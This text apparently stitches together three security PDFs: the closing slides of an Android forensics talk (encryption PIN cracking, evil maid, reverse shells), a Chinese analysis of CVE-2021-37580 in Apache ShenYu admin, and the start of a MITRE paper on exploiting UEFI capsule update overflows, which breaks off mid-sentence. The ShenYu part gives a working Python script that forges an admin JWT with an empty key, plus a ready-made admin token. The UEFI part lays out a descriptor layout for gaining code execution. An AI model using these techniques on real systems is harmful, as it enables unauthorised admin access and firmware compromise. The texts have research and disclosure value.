bytes) Encrypted Master Key (128 bit) Key (128 bit) IV (128 bit) Android Encryption Master Key (128 bit) IV (ESSIV:SHA256) userdata partition dm-crypt AES 128 CBC Encrypted userdata partition Cracking Encryption • Encrypted Master Key + Salt stored in footer • Footer stored at end of partition or in a footer file on another partition or as a partition itself • Image device and locate footer + encrypted userdata partition Cracking Encryption • Parse footer • Locate Salt and Encrypted Master Key • Run a password guess through PBKDF2 with salt, use resulting key and IV to decrypt master key, use resulting master key to decrypt first sector of encrypted image. • If password is correct, plain text will be revealed • Cracking PINs takes seconds. Passwords are usually short or follow patterns due to being the same as the lock screen password Evil Maid Attack • Load app onto system partition, wait for user to boot phone, get remote access to decrypted user data • Rootkits - easy to compile for Android • Evil USB charger Reverse Shell • App with no permissions can create a reverse shell, giving remote access to attacker Desperate Techniques • Hard reset - some devices prior to 3.0 did not wipe data properly. Wipe, boot, root and recover • Chip-off - de-solder NAND chips • Screen smudges More Techniques! • Custom update.zip - can you get one signed? • Race condition on updates via SD cards - fixed • Own a CA? Who doesn't these days? MITM connection, push app, update or exploit • Entry via Google Play, if credentials cached on desktop Santoku Linux • Free and open bootable Linux distribution full of tools • Project is a collaboration with other mobile security pros • Mobile Forensics • Mobile App Security Testing • Mobile Malware Analysis Check out the Alpha release at https://santoku-linux.com For the latest versions of our presentations visit: https://viaforensics.com/resources/presentations Thomas Cannon @thomas_cannon github.com/thomascannon [email protected] Thank you!
pdf
CVE-2021-37580-apacheshenyuadmin 漏洞 Apacheshenyuadmin-jwt越权漏洞,通过伪造jwt获取管理员。 漏洞成因: 硬编码jwtkey 1. 只解析了jwttoken的内容,并没有针对其内容进⾏判断 2. 影响版本 shenyu:v2.3.0-v2.4.0 漏洞分析 直接在权限校验处打上断点 org/apache/shenyu/admin/shiro/config/ShiroRealm.AuthenticationInfo getCredential会获取header头内的token并返还。然后代码会判断token是否有值。 如果有就会进⼊getUserInfoByToken⽅法 org/apache/shenyu/admin/shiro/config/ShiroRealm.java-getUserInfoByToken 这⾥把token传⼊到了getIssuer⽅法内 跟进此⽅法,⾸先解码jwt之后返回jwt解码后到username字段到值。 继续向下⾛之后就是根据usernmae查找⽤⼾判断是否存在此⽤⼾,如果没有则返回usernamecan notbefound。 如果存在则返回查找到的⽤⼾信息。 在这⼀套流程中,并没有针对jwt的key进⾏校验。 Shenyu-admin获取token的字段 org/apache/shenyu/admin/shiro/bean/StatelessAuthFilter.java-StatelessAuthFilter内 漏洞利⽤ poc: Python import jwt def generateToken(username): headers = { "alg": "HS256", "typ": "JWT" } # 设置headers,即加密算法的配置 salt = "" # 随机的salt密钥,只有token⽣成者(同时也是校验者)⾃⼰能有,⽤于校验⽣成的token是 否合法 payload = { "userName": username, } token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers) return token print(generateToken("admin")) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 传⼊⽤⼾名,拿到该⽤⼾的token。然后设置header头,X-Access-Token:XXXXX。即获得管理员权 限。 根据分析可以得知,代码本⾝只需要jwt内payload的username,所以sign为空也是可以绕过权限。 Apache eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIn0. 1 EXP: https://github.com/fengwenhua/CVE-2021-37580
pdf
Extreme Privilege Escalation On Windows 8/UEFI Systems Corey Kallenberg Xeno Kovah John Butterworth Sam Cornwell [email protected], [email protected] [email protected], [email protected] The MITRE Corporation Abstract The UEFI specification has more tightly coupled the bonds of the operating system and the platform firmware by providing the well-defined “Runtime Service” interface between the operating system and the firmware. This interface is more expansive than the interface that existed in the days of conventional BIOS, which has inadvertently increased the attack surface against the platform firmware. Furthermore, Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its privileges from ring 3 all the way up to that of the platform firmware, which attains permanent control of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the authors discovered in the UEFI open source reference implementation and the techniques that were used to exploit them. 1 Contents 1 Introduction 3 2 Runtime Services 3 2.1 Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2.1 Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2.2 PEI Phase Capsule Coalescing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.3 DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3 Capsule Update Vulnerabilities 6 3.1 Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.2 Envelope Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 4 Capsule Update Exploitation 10 4.1 Coalescing Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 4.1.1 Coalescing Exploitation Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 4.1.2 Descriptor Overwrite Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 4.1.3 Optimization Tricks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 4.1.4 Coalesce Exploitation Success . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 4.2 Envelope Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 4.3 Exploitation From Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 5 Leveraging The Attack 18 6 User Experience 18 7 A↵ected Systems 19 7.1 OEM Firmware Instrumentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 7.2 HP EliteBook 2540p F23 Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 7.3 General Observations Regarding A↵ected Systems . . . . . . . . . . . . . . . . . . . . . . . . 21 8 Vendor Response 21 9 Recommendations 22 10 Related Work 22 11 Conclusion 22 12 Acknowledgments 22 2 1 Introduction UEFI is rapidly replacing conventional BIOS on modern computers. A driving factor behind this migration is Microsoft’s addition of UEFI firmware to the recommended hardware for Windows 81. An important reason for Microsoft’s push for UEFI adoption is the additional security features that UEFI provides. UEFI Secure Boot is one of these features which protects against bootkit style attacks that can compromise the integrity of the NT kernel at load time. Starting with Windows Vista, 64 bit editions of Windows have also enforced the requirement that kernel drivers be signed with an authenticode certificate. Thus the signed driver requirement coupled with Secure Boot enforces of the integrity of the ring 0 code in the Windows 8 x64 environment. In the post exploitation phase, it may be desirable for an attacker to inject a rootkit into ring 0 in order to have powerful influence over the system. Due to Secure Boot and the signed driver requirement, the attacker would now require a ring 3 to ring 0 privilege escalation exploit that attacks a vulnerability in the NT kernel or a 3rd party driver. This particular attack model has already been discussed at length[12][13][14]. This paper instead seeks to explore a di↵erent method of post exploitation privilege escalation that allows the attacker permanent residence in an even more extreme environment... System Management Mode (SMM). userspace kernel VMM SMM SPI flash ring 3 ring 0 “ring  -1” “ring  -2” “ring  -2.5” userspace kernel VMM SMM SPI flash Extreme Post-Exploitation Privilege Escalation Plain Jane Post-Exploitation Privilege Escalation Figure 1: Plain Jane Post-Exploitation Privilege Escalation vs. Extreme Post-Exploitation Privilege Escalation The attack surface explored in this paper is the UEFI Runtime Services interface. A successful attack against this interface may allow an attacker to permanently alter the UEFI firmware. From the UEFI firmware, the attacker is allowed to control the early bootup process of the system, including the configuration and initialization of the SMM code. This paper highlights the UEFI Runtime Services as a new and viable attack surface by describing and exploiting two UEFI vulnerabilities discovered by the authors. 2 Runtime Services UEFI provides a set of functions that are accessible to both the early boot environment and to the operating system[18]. These functions are known as the “Runtime Services.” The Runtime Services provide function- ality to reset the system, modify firmware environment variables, initiate a firmware update, as well as other tasks. Typically these services are meant to be used by the operating system kernel. However, Windows 8 has introduced an API that exposes a subset of the Runtime Services to administrator userland processes. 1http://windows.microsoft.com/en-us/windows-8/system-requirements 3 2.1 Variable Interface The Runtime Services provide functions for accessing “EFI Variables.” EFI variables are similar to op- erating system environment variables. Typically EFI variables are consumed by the platform firmware during the boot up of the system. Alternatively, some EFI variables may be created by the firmware to communicate information to the operating system. For instance, the platform language and the boot media order are stored as EFI variables. The Runtime Services provide functions for reading, writing, creating and enumerating EFI variables. Furthermore, Windows 8 introduced the SetFirmwareEnviron- mentVariable and GetFirmwareEnvironmentVariable functions for programmatically interacting with EFI variables from userland[11]. These functions are callable from an administrator userland process with the SE SYSTEM ENVIRONMNENT NAME access token. The important observation is the EFI variable interface is a conduit by which a less privileged domain (ring 3) can insert data for a more privileged domain (the platform firmware) to consume. Furthermore, many of these variables serve undocumented purposes and have complex contents. Historically this is the type of interface where memory corruption vulnerabilities have been discovered. Alert readers may draw comparisons to Unix environment variable parsing vulnerabilities2. In fact, vulnerabilities have already been discovered in some of these EFI variables that allowed bypassing Secure Boot or bricking the victim computer[16][4]. However, the aforementioned vulnerabilities were design flaws resulting from security critical configuration data being stored in an unprotected3 EFI variable. This paper specifically considers memory corruption vulnerabilities that were found in the Intel UEFI reference implementation’s[9] parsing of a standard EFI variable, “CapsuleUpdateData.” 2.2 Capsule Update The platform firmware is stored on a SPI flash chip that is soldered onto the motherboard. Because the firmware is a security critical component, Intel provides a number of chipset[5] flash protection mechanisms that can protect the contents of the flash chip from even ring 0 code. It is also necessary to implement a means to securely update the platform firmware in the event that bugs need to be patched, or new features added. Historically, the firmware update process was non standardized and OEM specific. UEFI attempts to standardize the firmware update process by defining “capsule update” functionality as part of the Runtime Services. The capsule update Runtime Service seeds a firmware update capsule into RAM and then performs a soft reset of the system. During a warm reset of the system, the contents of RAM will remain intact, thus allowing the capsule contents to survive for consumption by the firmware. The flash chip is also unlocked as part of the reset. Early in the boot up of the system, the firmware will check for the existence of a firmware update capsule. If one exists, the firmware will verify the update contents are signed by the OEM, and if so, write the new firmware update to the still unlocked flash. If the update contents can not be cryptographically verified, or if no update is pending, the firmware locks the flash protection registers on the chipset to prevent further write access to the firmware. For further information on these flash protection mechanisms, the reader is referred to another paper[15][16]. Because an open source UEFI reference implementation is provided by Intel[8], the exact details of the UEFI capsule update implementation can be examined at the source code level. The implementation specifics are now described in detail. 2.2.1 Capsule Update Initiation The capsule update process is initiated by calling the UpdateCapsule Runtime Service function. 2This class of vulnerability allowed an unprivileged user to escalate their privileges to root by seeding an environment variable with an exploit payload, and then calling a suid root program that unsafely parsed the relevant environment variable 3Non Authenticated, Runtime Accessible. 4 typedef EFI_STATUS UpdateCapsule ( IN EFI_CAPSULE_HEADER **CapsuleHeaderArray, IN UINTN CapsuleCount, IN EFI_PHYSICAL_ADDRESS ScatterGatherList OPTIONAL ); Listing 1: UpdateCapsule definition. The ScatterGatherList in Listing 1 is an array of EFI CAPSULE BLOCK DESCRIPTOR entries. Each descriptor entry is a pair consisting of a capsule fragment data pointer, and a capsule fragment size. typedef struct ( UINT64 Length; union { EFI_PHYSICAL_ADDRESS DataBlock; EFI_PHYSICAL_ADDRESS ContinuationPointer; }Union; ) EFI_CAPSULE_BLOCK_DESCRIPTOR; Listing 2: EFI CAPSULE BLOCK DESCRIPTOR definition. It is the responsibility of the calling operating system to decide how to fragment the contiguous update capsule so that it fits within the resource constraints of the system. Note that each individual fragment of the update capsule is unsigned. The location of the ScatterGatherList is stored in an EFI Non-Volatile variable named “CapsuleUpdateData” so that it can be passed onto the firmware during reboot. At this point, a warm reset is performed. 2.2.2 PEI Phase Capsule Coalescing The UEFI boot process is divided into several phases. The Pre-EFI Initialization (PEI) phase occurs early in the boot up process and is responsible for, among other things, initializing the CPUs and main memory[7]. PEI is where the processing of the incoming capsule update image begins. Initially, an attempt is made to determine whether or not a firmware update is pending. If the platform is booting under a warm reset and the CapsuleUpdateData variable exists, the boot mode is changed to BOOT ON FLASH UPDATE. At this point the contents of the CapsuleUpdateData variable is interpretted as a physical address pointing to the aforementioned ScatterGatherList. Before processing can continue, the capsule update must be coalesced into its original form. The results of this process are described visually in Figure 2. After the update has been coalesced, further processing is deferred to the DXE phase. 2.2.3 DXE Phase Capsule Processing The Driver Execution Environment Phase (DXE) is responsible for the majority of system initialization[6]. DXE is responsible for continuing to process the capsule image that was coalesced during PEI. The contents of the capsule image are encapsulated in a series of envelopes that provide contextual information about the contents of the update. For a visual depiction see Figure 3. 5 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 Coalesced Capsule UEFI PEI Code PEI Stack Capsule Data Block 0 Capsule Data Block 1 Capsule Data Block 1 Capsule Data Block N-1 ... Capsule Data Block 0 Capsule Data Block N-1 3F000000 3E000000 3D000000 DescriptorArray (BlockList) DescriptorArray[0] Length=0x20000 DataBlock=3F000000 DescriptorArray[1] Length=0x20000 DataBlock=3D000000 ... DescriptorArray[N-1] Length=0x100 DataBlock=3E000000 3E700000 “CapsuleUpdateData”  = 3E700000 Figure 2: Capsule Image Coalesced During PEI Phase typedef struct { EFI_GUID CapsuleGuid; UINT32 HeaderSize; UINT32 Flags; UINT32 CapsuleImageSize; } EFI_CAPSULE_HEADER; typedef struct { UINT8 ZeroVector[16]; EFI_GUID FileSystemGuid; UINT64 FvLength; UINT32 Signature; EFI_FVB_ATTRIBUTES Attributes; UINT16 HeaderLength; UINT16 Checksum; UINT8 Reserved[3]; UINT8 Revision; EFI_FV_BLOCK_MAP_ENTRY FvBlockMap[1]; } EFI_FIRMWARE_VOLUME_HEADER; Listing 3: Capsule Update envelope structures. 3 Capsule Update Vulnerabilities The authors performed a brief 2 week audit of the open source UEFI reference implementation at release UDK2010[9]. The focus of the audit was the capsule update process, and the scope was limited to code that executes before cryptographic verification of the capsule contents. Critical vulnerabilities were found both 6 CAPSULE FIRMWARE_VOLUME_HEADER FIRMWARE_VOLUME_HEADER FIRMWARE_FILE FIRMWARE_FILE CAPSULE_HEADER FIRMWARE_VOLUME_HEADER Figure 3: Capsule Envelopes in the PEI coalescing phase, and in the DXE capsule processing phase. The specifics of the vulnerabilities are discussed below. 3.1 Coalescing Vulnerability EFI_STATUS EFIAPI CapsuleDataCoalesce ( IN EFI_PEI_SERVICES **PeiServices, IN EFI_PHYSICAL_ADDRESS *BlockListBuffer, IN OUT VOID **MemoryBase, IN OUT UINTN *MemorySize ) { ... // // Get the size of our descriptors and the capsule size. GetCapsuleInfo() // returns the number of descriptors that actually point to data, so add // one for a terminator. Do that below. // GetCapsuleInfo (BlockList, &NumDescriptors, &CapsuleSize); if ((CapsuleSize == 0) || (NumDescriptors == 0)) { return EFI_NOT_FOUND; } ... DescriptorsSize = NumDescriptors * sizeof (EFI_CAPSULE_BLOCK_DESCRIPTOR); ... if (*MemorySize <= (CapsuleSize + DescriptorsSize)) { <= Bug 1 return EFI_BUFFER_TOO_SMALL; } Listing 4: CapsuleDataCoalesce code 7 EFI_STATUS GetCapsuleInfo ( IN EFI_CAPSULE_BLOCK_DESCRIPTOR *Desc, IN OUT UINTN *NumDescriptors OPTIONAL, IN OUT UINTN *CapsuleSize OPTIONAL ) { UINTN Count; UINTN Size; ... while (Desc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL) { if (Desc->Length == 0) { // // Descriptor points to another list of block descriptors somewhere // Desc = (EFI_CAPSULE_BLOCK_DESCRIPTOR *) (UINTN) Desc->Union.ContinuationPointer; } else { Size += (UINTN) Desc->Length; <= Bug 2 Count++; Desc++; } } if (NumDescriptors != NULL) { *NumDescriptors = Count; } if (CapsuleSize != NULL) { *CapsuleSize = Size; } Listing 5: GetCapsuleInfo code The important values for our discussion are CapsuleSize and DescriptorSize. CapsuleSize is set by GetCapsuleInfo and is equal to the sum of the length values in the descriptor array. DescriptorSize is also set by GetCapsuleInfo and is equal to the total size of the descriptor array. All of these values are attacker controlled. There are several opportunities for integer overflow in the coalescing code descibed by Listings 4 and 5. The first bug is an integer overflow in the check to see if the CapsuleSize and DescriptorSize sum exceed the available MemorySize (Bug 1). The consequence of this overflow could be a very large CapsuleSize passing the buggy sanity check. Another issue is an integer overflow possibility in the summation of the descriptor array Length members in GetCapsuleInfo (Bug 2). With this issue, if one entry in the descriptor array has a very large Length value, CapsuleSize could be less than the real sum of the Length values. 8 3.2 Envelope Vulnerability typedef struct { UINTN Base; UINTN Length; } LBA_CACHE; typedef struct { UINT32 NumBlocks; UINT32 Length; } EFI_FV_BLOCK_MAP_ENTRY; typedef struct { UINTN Signature; EFI_HANDLE Handle; EFI_DEVICE_PATH_PROTOCOL *DevicePath; EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL FwVolBlockInstance; UINTN NumBlocks; LBA_CACHE *LbaCache; UINT32 FvbAttributes; EFI_PHYSICAL_ADDRESS BaseAddress; UINT32 AuthenticationStatus; } EFI_FW_VOL_BLOCK_DEVICE; EFI_STATUS ProduceFVBProtocolOnBuffer ( IN EFI_PHYSICAL_ADDRESS BaseAddress, IN UINT64 Length, IN EFI_HANDLE ParentHandle, IN UINT32 AuthenticationStatus, OUT EFI_HANDLE *FvProtocol OPTIONAL ) { EFI_STATUS Status; EFI_FW_VOL_BLOCK_DEVICE *FvbDev; EFI_FIRMWARE_VOLUME_HEADER *FwVolHeader; UINTN BlockIndex; UINTN BlockIndex2; UINTN LinearOffset; UINT32 FvAlignment; EFI_FV_BLOCK_MAP_ENTRY *PtrBlockMapEntry; FwVolHeader = (EFI_FIRMWARE_VOLUME_HEADER *)(UINTN) BaseAddress; ... // // Init the block caching fields of the device // First, count the number of blocks // FvbDev->NumBlocks = 0; for (PtrBlockMapEntry = FwVolHeader->BlockMap; PtrBlockMapEntry->NumBlocks != 0; PtrBlockMapEntry++) { FvbDev->NumBlocks += PtrBlockMapEntry->NumBlocks; } // // Second, allocate the cache // FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3 Listing 6: ProduceFVBProtocolOnBu↵er Code and Structures The code in Listing 6 is called during the DXE phase to prepare the capsule for further processing. The NumBlocks member of FvbDev is set equal to the the summation of an attacker controlled array of UINT32 values that dangle o↵ of the EFI FIRMWARE VOLUME HEADER envelope. This array is of arbitrary 9 length, as summation is only terminated when a zero entry is encountered. In the case where DXE executes in 32 bit mode, the multiplication involved in the allocation is trivially overflowable. In the case where DXE executes in 64 bit mode, FvbDev’s NumBlocks is a 64 bit integer, but the attacker controlled entries in the BlockMap array retain 32 bit width. Hence to trigger this integer overflow, an attacker must cause FvbDev’s NumBlocks to be sufficiently large through a series of 32 bit integer additions. An attacker who creates a BlockMap array with over 0x10000000 entries of maximum NumBlocks (0x↵↵↵↵) can force this integer overflow in the multiplication. This huge BlockMap array requires approximately 2GB of RAM to create, which is within the realm of possibility on modern systems where 4GB or more is often standard. The result of an overflow in the multiplication before the allocation will be an unexpectedly small LbaCache bu↵er (Bug 3). 4 Capsule Update Exploitation Exploitation of these vulnerabilities proved to be sufficiently interesting to warrant discussion. The execution environment of the vulnerable code is atypical. The processor is running in protected mode with a flat segmentation model and paging disabled. Because memory protections are generally provided at the page level, with paging disabled, the majority of the address space is RWX with a few exceptions4. Also noteworthy is the complete lack of exploit mitigations in the firmware code and its execution environment. Despite these attacker advantages, significant hurdles had to be overcome to successfully exploit the vul- nerabilities. The primary obstacle for an attacker working in this space is the lack of appropriate debugging capabilities. To overcome this, the authors originally developed their exploits against the MinnowBoard[2]. The MinnowBoard was chosen because of its UEFI firmware (which contained all of the relevant vulnera- bilities) and its provided debug stub. The following section discusses the exploitation process as it unfolded against the MinnowBoard. Exploitation of OEM specific code is discussed later in Section 7.2. 4.1 Coalescing Exploitation During the capsule coalescing in the PEI phase, the processor is executing in 32 bit protected mode with paging disabled. The PEI code is executing in place out of flash memory and Cache-As-RAM (CAR) is being used for stack space. The MinnowBoard has 1GB of RAM, meaning that addresses between [0,0x3FFFFFFF] are backed up with physical frames. The CAR stack and PEI code are at the top of the address space. This means that a large gap exists in the middle of the address space that is neither backed up by devices nor RAM. After the integers overflows described in Section 3 allow for an unexpectedly large capsule to be coalesced, the following code is relevant. 4Code executing in place out of flash memory is not writable. 10 if (*MemorySize <= (CapsuleSize + DescriptorsSize)) { return EFI_BUFFER_TOO_SMALL; } FreeMemBase = *MemoryBase; FreeMemSize = *MemorySize; ... // // Take the top of memory for the capsule. Naturally align. // DestPtr = FreeMemBase + FreeMemSize - CapsuleSize; DestPtr = (UINT8 *) ((UINTN) DestPtr &~ (UINTN) (sizeof (UINTN) - 1)); FreeMemBase = (UINT8 *) BlockList + DescriptorsSize; FreeMemSize = (UINTN) DestPtr - (UINTN) FreeMemBase; NewCapsuleBase = (VOID *) DestPtr; // // Move all the blocks to the top (high) of memory. // Relocate all the obstructing blocks. Note that the block descriptors // were coalesced when they were relocated, so we can just ++ the pointer. // CurrentBlockDesc = BlockList; while ((CurrentBlockDesc->Length != 0) || (CurrentBlockDesc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL) // // See if any of the remaining capsule blocks are in the way // TempBlockDesc = CurrentBlockDesc; while (TempBlockDesc->Length != 0) { // // Is this block in the way of where we want to copy the current descriptor to? // if (IsOverlapped ( (UINT8 *) DestPtr, (UINTN) CurrentBlockDesc->Length, (UINT8 *) (UINTN) TempBlockDesc->Union.DataBlock, (UINTN) TempBlockDesc->Length )) { //Relocate the block RelocPtr = FindFreeMem (BlockList, FreeMemBase, FreeMemSize, (UINTN) TempBlockDesc->Length); .... CopyMem ((VOID *) RelocPtr, (VOID *) (UINTN) TempBlockDesc->Union.DataBlock, (UINTN) TempBlockDesc->Length); TempBlockDesc->Union.DataBlock = (EFI_PHYSICAL_ADDRESS) (UINTN) RelocPtr; } // Next descriptor TempBlockDesc++; } ... CopyMem ((VOID *) DestPtr, (VOID *) (UINTN) (CurrentBlockDesc->Union.DataBlock), (UINTN)CurrentBlockDesc->Length); DestPtr += CurrentBlockDesc->Length; Listing 7: CapsuleDataCoalesce code continued 4.1.1 Coalescing Exploitation Difficulties The most obvious exploitation approach is to supply a Capsule with CapsuleSize large enough to force CapsuleSize + DescriptorSize to overflow (Bug 1). Then the process of coalescing the huge capsule will overflow the intended coalescing area and corrupt the address space. Figure 4 demonstrates this approach. However, this most obvious approach was insufficient on the MinnowBoard. When the overflow began writing into the address space gap described in Section 4.1, the writes would silently fail. Although the destination pointer for the memory copy operation continued to proceed upwards despite these invalid writes, a timeout associated with the failed write slowed the process down to a prohibitively slow pace. A di↵erent approach was considered. 11 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 UEFI PEI Code PEI Stack Intended Coalescing Space DescriptorArray[0] Length=FFFFFF2B DataBlock=Wherever Overflowing DataBlock Copy Top of RAM 40000000 Figure 4: First Attempt at Coelescing Exploitation fails due to the address space gap 4.1.2 Descriptor Overwrite Approach It was necessary to devise a way to overwrite a function pointer in the high portion of the address space without touching the address space gap. We chose a multistage approach that would first corrupt the descriptor array, so that DestPtr would be adjusted by a corrupted descriptor length value. This approach allows exact control of DestPtr on a subsequent block copy. One major hurdle stood in the way of the descriptor overwrite approach; before the coalescing block copy operations begins, the descriptor array is relocated to the bottom of the address space. This ensures that the descriptor array is always out of the way of any block copy operations. Additional tricks were needed to proceed further with this approach. 4.1.3 Optimization Tricks An examination of the CopyMem implementation yielded a clever trick that could be abused for the descriptor overwrite approach. 12 CopyMem ( OUT VOID *DestinationBuffer, IN CONST VOID *SourceBuffer, IN UINTN Length ) { ... if (DestinationBuffer == SourceBuffer) { return DestinationBuffer; } return InternalMemCopyMem (DestinationBuffer, SourceBuffer, Length); } Listing 8: CopyMem implementation Note in Listing 8 that CopyMem is optimized so that if DestinationBu↵er and SourceBu↵er are equal, the function will automatically exit successfully. Hence a huge CopyMem can be performed that will skip over the address space gap, and DestPtr will subsequently be increased by a huge value. Using this approach allowed DestPtr to be wrapped to the bottom of the address space where the relocated descriptor array had been placed. Also note that this CopyMem optimization abuse can not be used to set DestPtr directly at any function pointers high in the address space. This requirement results from the IsOverlapped check described in code Listing 7. The IsOverlapped check validates that the current block copy operation will not clobber the current block or any other remaining data blocks. Because we have explicitly set DestPtr equal to CurrentBlockDesc’s Data member in order to abuse the CopyMem optimization, the blocks necessarily overlap. However, if we examine the IsOverlapped implementation, we see a way out. BOOLEAN IsOverlapped ( UINT8 *Buff1, UINTN Size1, UINT8 *Buff2, UINTN Size2 ) { // // If buff1’s end is less than the start of buff2, then it’s ok. // Also, if buff1’s start is beyond buff2’s end, then it’s ok. // if (((Buff1 + Size1) <= Buff2) || (Buff1 >= (Buff2 + Size2))) { <= Bug 4 return FALSE; } return TRUE; } Listing 9: IsOverlapped implementation IsOverlapped will erroneously return false if an integer overflow is induced by Bu↵1 + Size1 (Bug 4). Thus the CopyMem optimization trick cannot be used to set DestPtr directly at the high portion of the address space, as this would not induce an integer overflow in the IsOverlapped calculation and IsOverlapped would return true. However, this works perfectly to wrap DestPtr to the bottom of the address space, which then provides the possibility to overwrite the relocated descriptor array. 4.1.4 Coalesce Exploitation Success The return address for the CopyMem function proved to be a viable target to get control of the instruction pointer. This was accomplished using the following steps which ultimately allowed for a surgical write-what- where exploitation primitive. The steps are also depicted visually in Figures 5 through 8. 13 1. DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is copied normally. See Figure 5. 2. DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap DestPtr around the address space. See Figure 6. 3. DescriptorArray[2] overwrites its own Length value, so that DestPtr can be arbitrarily adjusted. See Figure 7. 4. DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here. See Figure 8. 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 UEFI PEI Code PEI Stack Intended Coalescing Space DescriptorArray[0] “Poison  Capsule  Header  Block” Length=100 DataBlock=EFI_CAPSULE_HEADER Top of RAM 40000000 DestPtr_1 = DestPtr_0 + 100 Relocated DescriptorArray DescriptorArray[1] “The  Huge  Block” Length=&(Relocated DescriptorArray[2]) – DestPtr_1 DataBlock=DestPtr_One DescriptorArray[2] “Self  Overwriting  Descriptor  Block” Length=4 DataBlock=3E200000 DescriptorArray[3] “Return  Address  Overwrite  Block” Length=4 DataBlock=3E100000 ReturnAddress – DestPtr_Two Shellcode Address 3E200000 3E100000 DescriptorArray[4] “Total  CapsuleSize  Padding  Block” Length=FFFFFFD4 - Sum(DescriptorArray[0..4]) DataBlock=Wherever Figure 5: DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is copied normally. 4.2 Envelope Exploitation Exploiting the vulnerability in the parsing of envelope of the capsule proved to be challenging as well. Consider the code in Listing 10 that writes to the underallocated LbaCache bu↵er (Bug 3). 14 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 UEFI PEI Code PEI Stack Intended Coalescing Space DescriptorArray[0] “Poison  Capsule  Header  Block” Length=100 DataBlock=EFI_CAPSULE_HEADER Top of RAM 40000000 Relocated DescriptorArray DescriptorArray[1] “The  Huge  Block” Length=&(Relocated DescriptorArray[2]) – DestPtr_One DataBlock=DestPtr_One DescriptorArray[2] “Self  Overwriting  Descriptor  Block” Length=4 DataBlock=3E200000 DescriptorArray[3] “Return  Address  Overwrite  Block” Length=4 DataBlock=3E100000 ReturnAddress – DestPtr_Two Shellcode Address 3E200000 3E100000 DescriptorArray[4] “Total  CapsuleSize  Padding  Block” Length=FFFFFFD4 - Sum(DescriptorArray[0..4]) DataBlock=Wherever DestPtr_2 = &RelocatedDescriptorArray[2] Figure 6: DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap DestPtr around the address space. FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3 ... // // Last, fill in the cache with the linear address of the blocks // BlockIndex = 0; LinearOffset = 0; for (PtrBlockMapEntry = FwVolHeader->BlockMap; PtrBlockMapEntry->NumBlocks != 0; PtrBlockMapEntry++) { for (BlockIndex2 = 0; BlockIndex2 < PtrBlockMapEntry->NumBlocks; BlockIndex2++) { FvbDev->LbaCache[BlockIndex].Base = LinearOffset; FvbDev->LbaCache[BlockIndex].Length = PtrBlockMapEntry->Length; LinearOffset += PtrBlockMapEntry->Length; BlockIndex++; } } Listing 10: ProduceFVBProtocolOnBu↵er code continued. Recall that NumBlocks had to be set very large in order to induce the overflow in the LbaCache allocation (Bug 3). Unfortunately this also means that the above loop will end up corrupting the majority of the address space and destabilize the system if allowed to run to completion. Another complication is the discovery that LbaCache was being allocated below the FvbDev structure. This meant that the overwriting loop would end up corrupting the LbaCache pointer, further complicating the progression of the corruption. This issue is illustrated in Figure 9. Lastly, note that the corruption occurs via a series of pairs of 4 byte writes. One of the writes, PtrBlockMapEntry’s Length member, is attacker controlled. However, the other is the write 15 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 UEFI PEI Code PEI Stack Intended Coalescing Space DescriptorArray[0] “Poison  Capsule  Header  Block” Length=100 DataBlock=EFI_CAPSULE_HEADER Top of RAM 40000000 Relocated DescriptorArray DescriptorArray[1] “The  Huge  Block” Length=&(Relocated DescriptorArray[2]) – DestPtr_One DataBlock=DestPtr_One DescriptorArray[2] “Self  Overwriting  Descriptor  Block” Overwritten Length=ReturnAddress – DestPtr_2 DataBlock=3E200000 DescriptorArray[3] “Return  Address  Overwrite  Block” Length=4 DataBlock=3E100000 ReturnAddress – DestPtr_Two Shellcode Address 3E200000 3E100000 DescriptorArray[4] “Total  CapsuleSize  Padding  Block” Length=FFFFFFD4 - Sum(DescriptorArray[0..4]) DataBlock=Wherever DestPtr_2 = &RelocatedDescriptorArray[2] Figure 7: DescriptorArray[2] overwrites its own Length value, so that 